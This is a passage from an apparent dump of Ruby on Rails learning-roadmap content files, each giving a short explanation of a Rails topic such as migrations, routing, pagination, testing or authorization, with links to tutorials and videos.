    "path": "src/data/roadmaps/ruby-on-rails/content/logging@Un4rFrxtto4WLG9YNaAMK.md",
    "content": "# Logging\n\nLogging involves recording events that occur within an application, such as user actions, errors, and system information. This recorded data is typically stored in log files, providing a valuable resource for monitoring application behavior, diagnosing issues, and understanding performance. Rails provides a built-in logging framework that simplifies the process of generating and managing these logs.\n\nVisit the following resources to learn more:\n\n- [@article@How to Start Logging With Ruby on Rails](https://betterstack.com/community/guides/logging/how-to-start-logging-with-ruby-on-rails/)\n- [@article@Making the Most of Your Logs in Rails](https://blog.appsignal.com/2023/03/01/making-the-most-of-your-logs-in-rails.html)\n- [@article@The Rails Logging Setup That Saved Me From Debugging Hell](https://bhavyansh001.medium.com/the-rails-logging-setup-that-saved-me-from-debugging-hell-97904592eceb)\n- [@video@Debugging And Logging | Intro To Ruby On Rails 7 Part 24](https://www.youtube.com/watch?v=9rDK2rbm6DI)\n- [@video@Logging Mastery: From Rails Default to Kibana 📈](https://www.youtube.com/watch?v=CoHMwJsLiLU)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/mailbox--mailer@rhs6_Zg9PuY2Oost0vc_o.md",
    "content": "# Mailbox and Mailer\n\nThe Rails Mailbox and Mailer provide a structured way to handle incoming and outgoing emails. Mailers are used to compose and send emails from your application, defining email content, recipients, and headers. Mailboxes, introduced more recently, route incoming emails to specific controllers or models within your application, allowing you to process and respond to emails programmatically.\n\nVisit the following resources to learn more:\n\n- [@official@Action Mailbox Basics](https://guides.rubyonrails.org/action_mailbox_basics.html)\n- [@official@Action Mailer Basics](https://guides.rubyonrails.org/action_mailer_basics.html)\n- [@article@In Depth Look At Action Mailbox](https://www.codynorman.com/ruby/action_mailbox/)\n- [@article@Rails Mailer Tutorial](https://medium.com/@ericschwartz7/rails-mailer-tutorial-82700f6737d9)\n- [@article@Writing better Action Mailers: Revisiting a core Rails concept](https://boringrails.com/articles/writing-better-action-mailers/)\n- [@video@Receive and process inbound email with Ruby on Rails](https://www.youtube.com/watch?v=jOfAV2QWNOw&t=87s)\n- [@video@Action Mailer for Beginners | Ruby on Rails 7](https://www.youtube.com/watch?v=-8Rs1DcMZ9I)\n- [@video@Realtime Rails with Hotwire & ActionMailbox | Part 1](https://www.youtube.com/watch?v=WSuFaY7-q3g&t=66s)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/mariadb@Jf7W0Sw5azZZ6VGb9oaYq.md",
    "content": "# MariaDB Support in Rails\n\nMariaDB is an open-source relational database management system (RDBMS) that is a popular fork of MySQL. Rails applications can connect to and interact with MariaDB databases using the `mysql2` adapter. This allows developers to leverage MariaDB's features, such as enhanced performance and storage engines, within their Rails applications for data persistence and management.\n\nVisit the following resources to learn more:\n\n- [@official@Configuring a MySQL or MariaDB Database](https://guides.rubyonrails.org/configuring.html#configuring-a-mysql-or-mariadb-database)\n- [@official@Connector/Ruby Guide](https://mariadb.com/docs/connectors/connectors-quickstart-guides/connector-ruby-guide)\n- [@article@Howto Set Up MariaDB For Rails Development](https://myrtana.sk/articles/howto-set-up-mariadb-for-rails-development)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/migrations@gJYuVgBvJeXL72NsRubLm.md",
    "content": "# Migrations\n\nMigrations are a way to evolve your database schema over time in a consistent and manageable way. They are Ruby files that define changes to your database structure, such as creating tables, adding columns, or modifying indexes. These files allow you to track and apply changes to your database schema, making it easy to collaborate with other developers and deploy your application to different environments.\n\nVisit the following resources to learn more:\n\n- [@official@Active Record Migrations](https://guides.rubyonrails.org/active_record_migrations.html)\n- [@article@Migrations](https://www.theodinproject.com/lessons/ruby-on-rails-migrations)\n- [@article@How to create Active Record migrations in Ruby on Rails](https://learnetto.com/tutorials/how-to-create-active-record-migrations-in-ruby-on-rails)\n- [@article@A quick guide on database migrations in Ruby on Rails](https://dev.to/dumebii/quick-guide-to-migrations-in-ruby-on-rails-for-beginners-4gmb)\n- [@video@How to Use Migrations in Rails (Step-by-Step)](https://www.youtube.com/watch?v=1DaO6F8-Qdc)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/minitest@9evL0EqA6aBGczrfsRkV7.md",
    "content": "# Minitest\n\nMinitest is a complete testing suite for Ruby, providing support for test-driven development (TDD), behavior-driven development (BDD), mocking, and benchmarking. It's a lightweight and fast testing framework that comes bundled with Ruby, making it readily available for use in Rails applications. Minitest allows developers to write various types of tests, including unit tests, integration tests, and system tests, to ensure the quality and reliability of their code.\n\nVisit the following resources to learn more:\n\n- [@opensource@minirtest](https://github.com/minitest/minitest)\n- [@article@Getting Started With Testing In Rails (Using Minitest and RSpec)](https://medium.com/@ethanryan/getting-started-with-testing-in-rails-using-minitest-and-rspec-113fe1f866a)\n- [@article@Minitest vs. RSpec in Rails](https://www.honeybadger.io/blog/minitest-rspec-rails/)\n- [@article@Getting Started With System Tests in Rails With Minitest](https://blog.appsignal.com/2020/02/12/getting-started-with-system-tests-in-ruby-with-minitest.html)\n- [@article@Testing Rails with MiniTest](https://medium.com/@mario_chavez/testing-rails-with-minitest-7b4f99d4fcb8)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/model-methods@ca3Ik5pl-XmecZ3Ztx0YV.md",
    "content": "# Model Methods\n\nModel methods in Ruby on Rails are custom functions defined within a model class that encapsulate specific business logic related to that model. These methods allow you to perform operations on model instances or the model class itself, such as data validation, calculations, or interactions with other models, promoting code reusability and maintainability within your Rails application.\n\nVisit the following resources to learn more:\n\n- [@official@CRUD: Reading and Writing Data](https://guides.rubyonrails.org/active_record_basics.html#validations)\n- [@article@💎 Ruby on Rails Cheat Sheet](https://pagertree.com/blog/ruby-on-rails-cheat-sheet#migration-data-types)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/model-relationships@lWsJL135U-N5xIBnXqTYx.md",
    "content": "# Model Relationships\n\nModel relationships in Rails define how different models in your application are connected to each other. These relationships allow you to easily access related data and maintain data integrity. Common types of relationships include one-to-one, one-to-many, and many-to-many, each representing a different way that data entities can be associated.\n\nVisit the following resources to learn more:\n\n- [@official@Active Record Associations](https://guides.rubyonrails.org/association_basics.html)\n- [@article@Active Record Associations](https://www.theodinproject.com/lessons/ruby-on-rails-active-record-associations)\n- [@article@Active Record Associations For Dummies](https://jontzavala.medium.com/active-record-associations-for-dummies-82af58050da4)\n- [@article@Ruby on Rails - Active Record Associations](https://www.tutorialspoint.com/ruby-on-rails/rails-active-record-associations.htm)\n- [@video@Learn Active Record associations with Starwars](https://www.youtube.com/watch?v=E2jk4h1gQ2I)\n- [@video@Understanding Active Record Associations](https://www.youtube.com/watch?v=5mhuNSkV_vQ)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/models@NtiePD28NjaDtsC3oEbYf.md",
    "content": "# Models\n\nModels are Ruby classes that represent data and business logic. They interact with the database to perform CRUD (Create, Read, Update, Delete) operations on the data. Models provide a structured way to manage data, enforce validations, and define relationships between different data entities within an application. They are a core component of the Model-View-Controller (MVC) architectural pattern.\n\nVisit the following resources to learn more:\n\n- [@official@Active Record Basics](https://guides.rubyonrails.org/active_record_basics.html#creating-active-record-models)\n- [@article@Rails models](https://www.theodinproject.com/lessons/ruby-on-rails-active-record-basics#rails-models)\n- [@article@Ruby on Rails - Models](https://www.tutorialspoint.com/ruby-on-rails/rails-models.htm)\n- [@article@The Rails Model Introduction I Wish I Had](https://www.maxwellantonucci.com/posts/2020/04/07/rails-model-intro-wish-i-had/)\n- [@article@Rails models cheatsheet](https://devhints.io/rails-models)\n- [@video@How to Use Active Record: An Introduction For Beginner Rails Developers](https://www.youtube.com/watch?v=-zQdVV7D4w8)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/mvc-architecture@wHKlT_wCIrpSvULvXCufr.md",
    "content": "# MVC Architecture\n\nMVC, or Model-View-Controller, is a software design pattern commonly used for developing user interfaces that divides an application into three interconnected parts. The Model manages the application's data and logic, the View displays the data to the user, and the Controller handles user input and updates the Model and View accordingly. This separation of concerns makes applications easier to develop, test, and maintain."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/mysql@vIOmb6qGA0ZbPyqEQ9Bb4.md",
    "content": "# MySQL in Rails\n\nMySQL is a popular open-source relational database management system (RDBMS). In a Ruby on Rails application, MySQL serves as a persistent data store for your application's information, such as user accounts, product details, and blog posts. Rails leverages Active Record, an Object-Relational Mapping (ORM) framework, to interact with MySQL databases, allowing developers to work with data using Ruby objects instead of writing raw SQL queries.\n\nVisit the following resources to learn more:\n\n- [@official@Configuring a MySQL or MariaDB Database](https://guides.rubyonrails.org/configuring.html#configuring-a-mysql-or-mariadb-database)\n- [@article@Ruby on Rails with MySQL](https://medium.com/@chandan-sharma/ruby-on-rails-create-mysql-database-and-add-table-5e62ac0e823c)\n- [@article@How to use MySQL with your Ruby on Rails application](https://www.ionos.com/digitalguide/server/know-how/use-mysql-with-ruby-on-rails/)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/named-routes@KlEgfzfkPu0O43tJIsU3H.md",
    "content": "# Named Routes\n\nNamed routes provide a convenient way to refer to specific routes within your application's code. Instead of hardcoding URLs, you can use a symbolic name that represents the route, making your code more readable and maintainable. These names are automatically generated based on your `routes.rb` file and can be used in views, controllers, and models to generate URLs and paths.\n\nVisit the following resources to learn more:\n\n- [@official@Naming Routes](https://guides.rubyonrails.org/routing.html)\n- [@article@Understanding Named Routes in Rails](https://www.writesoftwarewell.com/understanding-named-routes-in-rails/)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/nested-forms@p0JHL8iAcV5tRLX9DPhx6.md",
    "content": "# Nested Forms\n\nNested forms allow you to manage associated models directly within a parent form. This means you can create, update, and delete records of related models on the same page as the parent model, providing a more streamlined user experience. For example, you might create a new blog post and its associated comments all at once.\n\nVisit the following resources to learn more:\n\n- [@official@Building Complex Forms](https://guides.rubyonrails.org/form_helpers.html#building-complex-forms)\n- [@article@Rails — Nested Forms and Nested Resources](https://david-rafe.medium.com/rails-nested-forms-and-nested-resources-cb9f21bb1a1a)\n- [@article@Nested Forms in Rails - FastRuby.io](https://www.fastruby.io/blog/learning/rails/nested-forms.html)\n- [@article@Dynamic Nested Forms with Rails and Stimulus](https://jonathanyeong.com/writing/rails-stimulus-dynamic-nested-form/)\n- [@video@Rails - Nested Forms in Rails | [Tutorial]](https://www.youtube.com/watch?v=niLRlaL-ss0)\n- [@video@Stimulus Nested Forms | Ruby on Rails 7 Tutorial](https://www.youtube.com/watch?v=7JNRZLTRDCc)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/nested-routes@DbJ1BIOoerkCH4P95Z7wD.md",
    "content": "# Nested Routes\n\nNested routes allow you to define hierarchical relationships between resources in your application's URLs. This means you can represent parent-child relationships, such as comments belonging to a specific post, directly in the URL structure. This approach helps to create more organized and intuitive URLs, reflecting the data's relationships and improving the user experience."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/non-restful-routes@3qImaY9Hs3Cvatw1X96Ns.md",
    "content": "# Non-RESTful Routes\n\nNon-RESTful routes are custom routes that deviate from the standard RESTful conventions (like `index`, `show`, `create`, `update`, `destroy`). They are used when an action doesn't naturally map to a typical CRUD operation or when you need a more descriptive or specific URL for a particular function in your application. These routes allow you to define custom paths and HTTP verbs to connect to specific controller actions."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/omniauth@mRdKPWMxzEacPOA8j-SoH.md",
    "content": "# OmniAuth\n\nOmniAuth is a flexible authentication system that allows users to sign in to your application using third-party providers like Google, Facebook, Twitter, and more. It provides a standardized way to handle the authentication process, abstracting away the complexities of dealing with different authentication protocols and APIs. This simplifies the integration of social login and other external authentication methods into your Ruby on Rails application."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/ordering@NwzKYGKVyLF_hiHSZ01Yq.md",
    "content": "# Ordering\n\nOrdering in Active Record allows you to specify the sequence in which records are retrieved from the database. This is achieved by using the `order` method, which accepts either a string representing the SQL order clause or a hash/symbol representing the attribute(s) to order by and their direction (ascending or descending). Ordering ensures that data is presented in a predictable and meaningful way, enhancing the user experience and facilitating data analysis.\n\nVisit the following resources to learn more:\n\n- [@article@Ordering](https://guides.rubyonrails.org/active_record_querying.html#ordering)\n- [@article@Rails Quick Tips - ActiveRecord Ordering](https://hashrocket.com/blog/posts/rails-quick-tips-activerecord-ordering)\n- [@article@Rails 7 adds ActiveRecord::QueryMethods#in_order_of to return query results in a particular sequence](https://blog.saeloun.com/2021/10/05/rails-7-activerecord-adds-in-order-of-method/)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/pagination@jTrvSb4eN9Hna0YooHapb.md",
    "content": "# Pagination\n\nPagination is the process of dividing content into discrete pages, allowing users to navigate through large sets of data in a more manageable way. This technique enhances user experience by preventing overwhelming amounts of information from being displayed on a single page, leading to faster loading times and improved site usability.\n\nVisit the following resources to learn more:\n\n- [@article@Pagination in Rails from scratch (no gems)](https://dev.to/anakbns/pagination-in-rails-from-scratch-no-gems-206f)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/pagination@txrWW1OlBZP-uiUKSMupo.md",
    "content": "# Pagination\n\nPagination is the process of dividing content into discrete pages, allowing users to navigate through large datasets in a manageable way. Instead of displaying all records at once, which can lead to performance issues and a poor user experience, pagination presents data in smaller, more digestible chunks, typically with navigation controls to move between pages. This improves loading times and makes it easier for users to find the information they need."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/pagy@BFmYL2UyuCXdFCeMKtDZk.md",
    "content": "# Pagy\n\nPagy is a gem in Ruby on Rails that simplifies the implementation of pagination in your web applications. It provides a fast and flexible way to divide large datasets into smaller, more manageable pages, improving user experience and server performance. Pagy focuses on efficiency and minimal memory usage, offering customizable templates and a variety of features to suit different pagination needs.\n\nVisit the following resources to learn more:\n\n- [@official@Pagy](https://ddnexus.github.io/pagy/)\n- [@opensource@pagy](https://github.com/ddnexus/pagy)\n- [@article@A step-by-step guide to paginate your Rails app with Pagy gem](https://medium.com/@barrosgiovanni1/a-step-by-step-guide-to-paginate-your-rails-app-with-pagy-gem-d177c42a43a6)\n- [@video@Pagy Gem with Turbo for Easy Infinite Scrolling | Ruby on Rails 7 Tutorial](https://www.youtube.com/watch?v=4nrmf5KfD8Y)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/partials@9qNdqb_Y95_Hjm-7GYA-o.md",
    "content": "# Partials\n\nPartials are reusable snippets of view code that can be rendered within other views. They help to keep your views organized and DRY (Don't Repeat Yourself) by extracting common UI elements or logic into separate files. This allows you to easily update and maintain these elements across your application without duplicating code.\n\nVisit the following resources to learn more:\n\n- [@official@Partials](https://guides.rubyonrails.org/action_view_overview.html#partials)\n- [@article@An Intro to Partials and Helpers in Ruby on Rails](https://staceymck.medium.com/an-intro-to-partials-and-helpers-in-ruby-on-rails-10d62d85da24)\n- [@video@Rails Tutorial | Working with View Partials in Ruby on Rails](https://www.youtube.com/watch?v=YIJwb0rQS74)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/phlex@G3HHrElODg0Js0WY-VYkL.md",
    "content": "# Phlex\n\nPhlex is a Ruby library for building HTML views with a Ruby syntax. It offers a component-based approach, allowing developers to define reusable UI elements as Ruby classes. This approach aims to provide a more structured and maintainable way to create dynamic web pages compared to traditional ERB templates.\n\nVisit the following resources to learn more:\n\n- [@official@Phlex](https://www.phlex.fun/)\n- [@opensource@phlex-rails](https://github.com/yippee-fun/phlex-rails)\n- [@article@Ruby On rails Using phlex gem](https://medium.com/@ashwinborkar1997/ruby-on-rails-using-phlex-gem-5603ab87a4bf)\n- [@video@Components with Phlex in Rails](https://www.youtube.com/watch?v=l4bQSfqZZfQ)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/plugins--engines@nh6d9XbtvwBUtVDmEk0i_.md",
    "content": "# Plugins & Engines\n\nPlugins and engines in Rails are both ways to package and reuse code, but they serve slightly different purposes. Plugins are typically smaller and used to add specific functionalities or modify existing behavior within a Rails application. Engines, on the other hand, are more self-contained and can act as mini-applications within a larger Rails application, often providing their own models, controllers, views, and routes.\n\nVisit the following resources to learn more:\n\n- [@official@The Basics of Creating Rails Plugins](https://guides.rubyonrails.org/plugins.html)\n- [@official@Getting Started with Engines](https://guides.rubyonrails.org/engines.html)\n- [@article@Building Ruby on Rails engines](https://www.honeybadger.io/blog/rails-engines/)\n- [@article@A Guide to Rails Engines in the Wild: Real World Examples of Rails Engines in Action](https://www.toptal.com/developers/ruby-on-rails/rails-engines-in-the-wild-real-world-examples-of-rails-engines-in-action)\n- [@video@Creating A Private Ruby Gem for Ruby on Rails 7](https://www.youtube.com/watch?v=H4j2vUwZgEk)\n- [@video@Your First Rails Engine | Ruby on Rails 7 Gem Tutorial](http://youtube.com/watch?v=7AVb4mJuIWA)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/plugins@nh6d9XbtvwBUtVDmEk0i_.md",
    "content": "# Plugins\n\nPlugins are self-contained packages of code that extend or modify the functionality of a Rails application. They provide a way to encapsulate reusable features, such as authentication, authorization, or payment processing, and easily integrate them into different Rails projects. Plugins can add models, controllers, views, helpers, and even modify the Rails framework itself."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/postgresql@TRTR2JyyfqICTm3kbyIgu.md",
    "content": "# PostgreSQL in Rails\n\nPostgreSQL is an open-source, object-relational database system known for its reliability, feature robustness, and adherence to standards. It's a popular choice for Rails applications due to its advanced data types, support for complex queries, and strong community support. Rails seamlessly integrates with PostgreSQL through Active Record, providing an abstraction layer for database interactions.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated PostgreSQL Roadmap](https://roadmap.sh/postgresql-dba)\n- [@official@Configuring a PostgreSQL Database](https://guides.rubyonrails.org/configuring.html#configuring-a-postgresql-database)\n- [@article@How To Set Up Ruby on Rails with Postgres](https://www.digitalocean.com/community/tutorials/how-to-set-up-ruby-on-rails-with-postgres)\n- [@article@Getting started with Ruby on Rails and Postgres on Supabase](https://supabase.com/blog/ruby-on-rails-postgres)\n- [@video@How To Use PostgreSQL with Your Ruby on Rails Application](https://www.youtube.com/watch?v=lLiEiBzEct8)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/pry@eyeSECF8-wu8EMr5gD7VJ.md",
    "content": "# Pry\n\nPry is a powerful Ruby runtime developer console and alternative to `irb`. It allows you to pause your code's execution at any point, inspect variables, step through code line by line, and even modify your code on the fly. This makes it an invaluable tool for understanding and debugging Ruby and Rails applications.\n\nVisit the following resources to learn more:\n\n- [@opensource@pry](https://github.com/pry/pry)\n- [@article@How to use Pry to debug Ruby apps](https://www.honeybadger.io/blog/debugging-ruby-with-pry/)\n- [@article@Debugging Ruby Code with Pry](https://laflamablanc.medium.com/debugging-ruby-code-with-pry-a0bf1f5e97ca)\n- [@video@Pry Open Your Rails 7 Code Debug Like a Pro](https://www.youtube.com/watch?v=yMdV0tpra7c)\n- [@video@Ruby on Rails - Railscasts #280 Pry With Rails](https://www.youtube.com/watch?v=KfFf2-KJNTU)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/public@rHzhzrwsguJx3Hg5szucY.md",
    "content": "# Public Directory\n\nThe `public` directory in a Ruby on Rails application serves as the root directory for all static assets that are directly accessible by web browsers. It holds files like HTML, CSS, JavaScript, images, and other media that don't require any processing or compilation by Rails before being served to the user. These files are served directly by the web server (like Nginx or Apache) without Rails intervention, making them efficient for delivering static content."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/pundit@dTU2RPkJcZaPRuSHPod71.md",
    "content": "# Pundit\n\nPundit is a Ruby gem that provides a straightforward way to implement authorization in your Ruby on Rails applications. It focuses on defining authorization rules using plain Ruby objects (policies) that determine whether a given user is allowed to perform a specific action on a particular resource. This approach promotes clean, maintainable, and testable authorization logic within your application.\n\nVisit the following resources to learn more:\n\n- [@opensource@pundit](https://github.com/varvet/pundit)\n- [@article@Mastering Authorization in Rails with Pundit](https://www.shakacode.com/blog/mastering-authorization-in-rails-with-pundit/)\n- [@video@Pundit Gem For Authorization In Ruby On Rails 7](https://www.youtube.com/watch?v=SodfIjgcaW8)\n- [@video@Ruby on Rails #49 gem Pundit for Authorization - Complete Guide](https://www.youtube.com/watch?v=xxkx57-vbQI)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/query-optimization@8EwNQFoZbzf5WtvP4OA4G.md",
    "content": "# Query Optimization\n\nQuery optimization focuses on improving the efficiency of database queries to reduce execution time and resource consumption. This involves techniques like eager loading to minimize the number of queries, using indexes to speed up data retrieval, and writing efficient query conditions to filter data effectively. The goal is to retrieve the necessary data as quickly as possible, improving the overall performance of your Rails application.\n\nVisit the following resources to learn more:\n\n- [@official@Eager Loading Associations](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations)\n- [@article@Optimizing database queries in Rails with Active Record](https://medium.com/@arnaudetienne/optimizing-database-queries-in-rails-with-active-record-b84295866af0)\n- [@article@Active Record Query Optimization Tips: Boost Your Ruby on Rails Application Performance](https://kinsta.com/blog/active-record-query-optimization/)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/rails--frontend@jKADWbGXSL5yGzsLqSJG9.md",
    "content": "# Rails & Frontend\n\nRails, while primarily a backend framework, works seamlessly with various frontend technologies to build complete web applications. You can use Rails to handle the server-side logic, data management, and API endpoints, while employing frontend frameworks like React, Vue.js, or even Hotwire for the user interface and interactive elements. Hotwire, in particular, allows you to build modern, reactive UIs by sending HTML over the wire instead of complex JSON, simplifying the development process and leveraging Rails' server-side rendering capabilities. This combination allows developers to create full-stack applications with a clear separation of concerns, where Rails manages the backend and the chosen frontend framework handles the user experience."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/rails-command-line@DyrNnHUm4Ws5Ku7AlVnWg.md",
    "content": "# Rails Command Line\n\nThe Rails command line interface (CLI), often accessed via the `rails` command, is a powerful tool for creating, managing, and interacting with Rails applications. It provides a suite of commands to generate code, run tests, manage databases, and perform various other development tasks, streamlining the development process and reducing boilerplate code."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/rails-generators@okQl2NFVACbZJPgh3sD5I.md",
    "content": "# Rails Generators\n\nRails Generators are powerful tools built into the Rails framework that automate the creation of files and directories needed for various parts of your application. They streamline development by providing pre-built templates for models, controllers, views, migrations, and more, reducing boilerplate code and ensuring consistency across your project. Using generators helps you quickly scaffold out the basic structure of your application components, allowing you to focus on the specific logic and functionality you need to implement."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/rails-internationalization@IjEF4T0vuFNUlA9O0wOFw.md",
    "content": "# Rails Internationalization\n\nInternationalization (I18n) is the process of designing and developing applications that can be adapted to various languages and regions without engineering changes. It involves extracting text and other locale-specific data from the application's code and storing it in separate files, allowing the application to be translated and formatted for different locales. This enables users to interact with the application in their preferred language and cultural context.\n\nVisit the following resources to learn more:\n\n- [@official@Rails Internationalization (I18n) API](https://guides.rubyonrails.org/i18n.html)\n- [@article@Rails internationalization (I18n): Tutorial on Rails locales & more](https://lokalise.com/blog/rails-i18n/)\n- [@article@A Comprehensive Guide to Rails Internationalization (i18n)](https://www.honeybadger.io/blog/rails-i18n/)\n- [@article@7 Key Best Practices for Rails Internationalization](https://phrase.com/blog/posts/rails-i18n-best-practices/)\n- [@video@Intro To I18n Localizations With Ruby On Rails 7](https://www.youtube.com/watch?v=gkaxM1AqBss)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/rails-logger@PDxKuQbWhbg0_AewOw9Mm.md",
    "content": "# Rails Logger\n\nThe Rails Logger is a built-in component within Ruby on Rails that provides a standardized way to record events and messages during the execution of an application. It allows developers to track application behavior, diagnose issues, and monitor performance by writing information to various output destinations, such as files or the console. The logger offers different severity levels (e.g., debug, info, warn, error, fatal) to categorize messages based on their importance, enabling developers to filter and prioritize logged information effectively.\n\nVisit the following resources to learn more:\n\n- [@official@The Logger](https://guides.rubyonrails.org/debugging_rails_applications.html#the-logger)\n- [@article@How to Start Logging With Ruby on Rails](https://betterstack.com/community/guides/logging/how-to-start-logging-with-ruby-on-rails/#step-6-configuring-logger)\n- [@video@Debugging And Logging | Intro To Ruby On Rails 7 Part 24](https://www.youtube.com/watch?v=9rDK2rbm6DI)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/raw-sql@wszshSvhqtfN829f5InuL.md",
    "content": "# Raw SQL in Active Record\n\nActive Record typically provides an abstraction layer for database interactions, allowing you to work with objects and methods instead of writing SQL queries directly. However, sometimes you need more control or access to database-specific features. Raw SQL allows you to bypass Active Record's abstraction and execute SQL queries directly against your database, giving you the flexibility to perform complex operations or optimize performance in specific scenarios.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated SQL Roadmap](https://roadmap.sh/sql)\n- [@official@Finding by SQL](https://guides.rubyonrails.org/active_record_querying.html#finding-by-sql)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/redirects@pSdqdRPlLfmIl5X9XF76r.md",
    "content": "# Redirects\n\nRedirects in web applications are mechanisms to automatically forward a user from one URL to another. This is commonly used for various reasons, such as moving content to a new location, handling outdated URLs, or guiding users through a specific workflow. In Rails, redirects are implemented within controllers to send an HTTP response that instructs the browser to navigate to a different URL."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/rendering-views@WJmDAayQ6SMNuUWsMzhnJ.md",
    "content": "# Rendering Views\n\nRendering views in Ruby on Rails involves generating HTML (or other formats) to be displayed to the user. This process typically uses templates written in ERB or other templating languages, combining data from the controller with the template to produce the final output. Rails provides mechanisms for rendering different types of content, including partials, layouts, and collections, offering flexibility in structuring and organizing the presentation layer of an application.\n\nVisit the following resources to learn more:\n\n- [@official@Layouts and Rendering in Rails](https://guides.rubyonrails.org/layouts_and_rendering.html)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/request-reponse-flow@eYaayU92hNbri3YTdSAbG.md",
    "content": "# Request-Response Flow in Rails Routing\n\nThe request-response flow in Rails describes how a web application handles incoming requests from users and generates appropriate responses. When a user interacts with a Rails application (e.g., clicks a link or submits a form), the request is first received by the Rails router. The router then analyzes the request and determines which controller and action should handle it. The controller action processes the request, interacts with the model if necessary, and renders a view. Finally, the rendered view is sent back to the user as a response."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/restful-routes@NB50RuNBT5Oja2Ry6p892.md",
    "content": "# RESTful Routes\n\nRESTful routes provide a standardized way to map HTTP verbs (GET, POST, PUT, DELETE) to controller actions, representing Create, Read, Update, and Delete (CRUD) operations on resources. This convention promotes a clean and predictable URL structure, making applications easier to understand and maintain by aligning routes with the underlying data model. By following REST principles, developers can create well-organized and scalable web applications."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/routing-fundamentals@ftFF3oFfqpKvjQhXk3bWw.md",
    "content": "# Routing Fundamentals\n\nRouting in a web application is the process of mapping incoming HTTP requests (like GET or POST requests) to specific controller actions. It acts as a traffic director, examining the URL and other request parameters to determine which part of the application should handle the request and generate a response. This mechanism allows you to define how your application responds to different URLs, creating a structured and organized web experience for users."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/rspec@Xs9gIVdO9TuZabUapgubJ.md",
    "content": "# RSpec\n\nRSpec is a testing framework for Ruby. It provides a domain-specific language (DSL) for writing tests that are easy to read and understand. RSpec focuses on behavior-driven development (BDD), allowing developers to describe the desired behavior of their code in a clear and concise manner, leading to more maintainable and reliable applications.\n\nVisit the following resources to learn more:\n\n- [@official@RSpec](https://rspec.info/)\n- [@opensource@rspec-rails](https://github.com/rspec/rspec-rails)\n- [@article@Ruby on Rails Testing with RSpec: Writing your First Tests](https://medium.com/nerd-for-tech/ruby-on-rails-testing-with-rspec-writing-your-first-tests-6330920928fd)\n- [@article@Getting Started With Testing In Rails (Using Minitest and RSpec)](https://medium.com/@ethanryan/getting-started-with-testing-in-rails-using-minitest-and-rspec-113fe1f866a)\n- [@article@Minitest vs. RSpec in Rails](https://www.honeybadger.io/blog/minitest-rspec-rails/)\n- [@video@Automated testing with rspec](https://www.youtube.com/playlist?list=PLS6F722u-R6Ik3fbeLXbSclWkT6Qsp9ng)\n- [@video@Test Driven RSpec](https://www.youtube.com/playlist?list=PLr442xinba86s9cCWxoIH_xq5UE9Wwo4Z)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/scopes@x4MkSkbLK7aHWUoKuq1j4.md",
    "content": "# Scopes\n\nScopes in Rails models are pre-defined database queries that you can reuse throughout your application. They allow you to encapsulate common query logic, making your code cleaner, more readable, and easier to maintain. Scopes can be simple, like finding all active users, or more complex, involving joins and conditions. They are defined within the model and can be chained together to create more specific queries.\n\nVisit the following resources to learn more:\n\n- [@official@Scopes](https://guides.rubyonrails.org/active_record_querying.html#scopes)\n- [@article@Scopes](https://www.theodinproject.com/lessons/ruby-on-rails-active-record-queries#scopes)\n- [@article@How to Use Scopes in Ruby on Rails](https://www.rubyguides.com/2019/10/scopes-in-ruby-on-rails/)\n- [@article@ActiveRecord Scopes: Ruby On Rails Best Practices](https://medium.com/nyc-ruby-on-rails/mastering-activerecord-scopes-5d7082122c0d)\n- [@video@Taking A Look At Scopes In Ruby On Rails 7](https://www.youtube.com/watch?v=nzgf1LRqxvg)\n- [@video@How to use Scopes in Ruby on Rails](https://www.youtube.com/watch?v=_LerTMQW76w)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/security@YyBmT5CzL-lspStC8aZ_t.md",
